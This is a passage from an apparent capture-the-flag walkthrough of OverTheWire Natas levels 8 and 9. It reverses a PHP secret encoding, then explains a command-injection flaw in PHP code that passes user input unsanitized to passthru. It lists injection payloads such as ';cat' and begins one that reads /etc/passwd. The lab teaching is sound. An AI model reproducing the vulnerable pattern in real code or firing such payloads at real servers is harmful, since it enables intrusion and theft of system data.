&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Wrong secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;17&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;18&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;form&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; method&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;post&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;19&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;Input&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; name&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;br&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;submit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt; name&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;submit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;21&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;form&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The php script has an &lt;code&gt;$encodedSecret&lt;&#x2F;code&gt; variable which is checked before
granting access to the next password. The &lt;code&gt;encodeSecret&lt;&#x2F;code&gt; function encodes the
&lt;code&gt;$secret&lt;&#x2F;code&gt; variable into base64, reverses the string, and converts the ASCII
string to hex. The encoding algorithm could be reversed with any programming
language, but PHP has functions available to easily reverse them all.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;PHP function&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.php.net&#x2F;manual&#x2F;en&#x2F;function.hex2bin.php&quot;&gt;hex2bin&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;decodes a hexadecimally encoded binary string&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.php.net&#x2F;manual&#x2F;en&#x2F;function.strrev.php&quot;&gt;strrev&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;reverse a string&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.php.net&#x2F;manual&#x2F;en&#x2F;function.base64-decode.php&quot;&gt;base64_decode&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;decodes data encoded with MIME base64&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;The encoding can be reversed with the following PHP script.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #C5C9C5);&quot;&gt;php&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;      $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt; hex2bin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;3d3d516343746d4d6d6c315669563362&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;      echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #949FB5);&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;      $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt; strrev&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;      echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #949FB5);&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;      $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt; base64_decode&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;      echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #949FB5);&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;If you don’t have PHP installed on your system, the script can be executed on
an online platform like &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;replit.com&#x2F;languages&#x2F;PHP&quot;&gt;repl.it&lt;&#x2F;a&gt;. Otherwise,
save the script locally and execute it with &lt;code&gt;php -f script.php&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Enter the decoded secret into the form to get the password to the next level.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-9&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-9&quot; aria-label=&quot;Anchor link for: level-9&quot;&gt;Level 9&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Level 9 is a bit different than anything we’ve seen so far. It contains a form
that accepts an input to search a dictionary for words that match.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Empty search input&lt;&#x2F;em&gt;
&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;9_search_password.png&quot; alt=&quot;level 9 search password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Search for the string ‘hack’&lt;&#x2F;em&gt;
&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;9_search_password_hack.png&quot; alt=&quot;level 9 search password hack&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Similar to the previous challenges though, we have a link to the PHP source
code.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;array_key_exists&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;needle&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;_REQUEST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;    $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;_REQUEST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;needle&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;    passthru&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;grep -i &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; dictionary.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;One thing we should take note of is the
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.php.net&#x2F;manual&#x2F;en&#x2F;function.passthru.php&quot;&gt;passthru&lt;&#x2F;a&gt; function which
executes an external program as if it was run from the command line. We can see
&lt;code&gt;passthru&lt;&#x2F;code&gt; is being used to execute the &lt;code&gt;grep&lt;&#x2F;code&gt; command on a file called
&lt;code&gt;dictionary.txt&lt;&#x2F;code&gt;. Download that file and see what it contains. As you might
have suspected, it’s a list of words, and it’s sorted alphabetically. A quick
scan of the file doesn’t reveal any unusual entries. There are a few words with
diacritics, but that is it.&lt;&#x2F;p&gt;
&lt;p&gt;Instead let’s focus on &lt;code&gt;$key&lt;&#x2F;code&gt;. It’s being passed directly into the &lt;code&gt;passthru&lt;&#x2F;code&gt;
function without any sanitization, essentially giving us complete control over
the command being executed by the server.&lt;&#x2F;p&gt;
&lt;p&gt;Here are a few possible payloads. Note the leading &lt;code&gt;;&lt;&#x2F;code&gt; which is used by Bash to
indicate the end of a line allowing us to insert a new command like &lt;code&gt;cat&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; this payload outputs the entire dictionary.txt instead of just the grepped lines&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; this payload outputs the &#x2F;etc&#x2F;passwd file in addition to dictionary.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
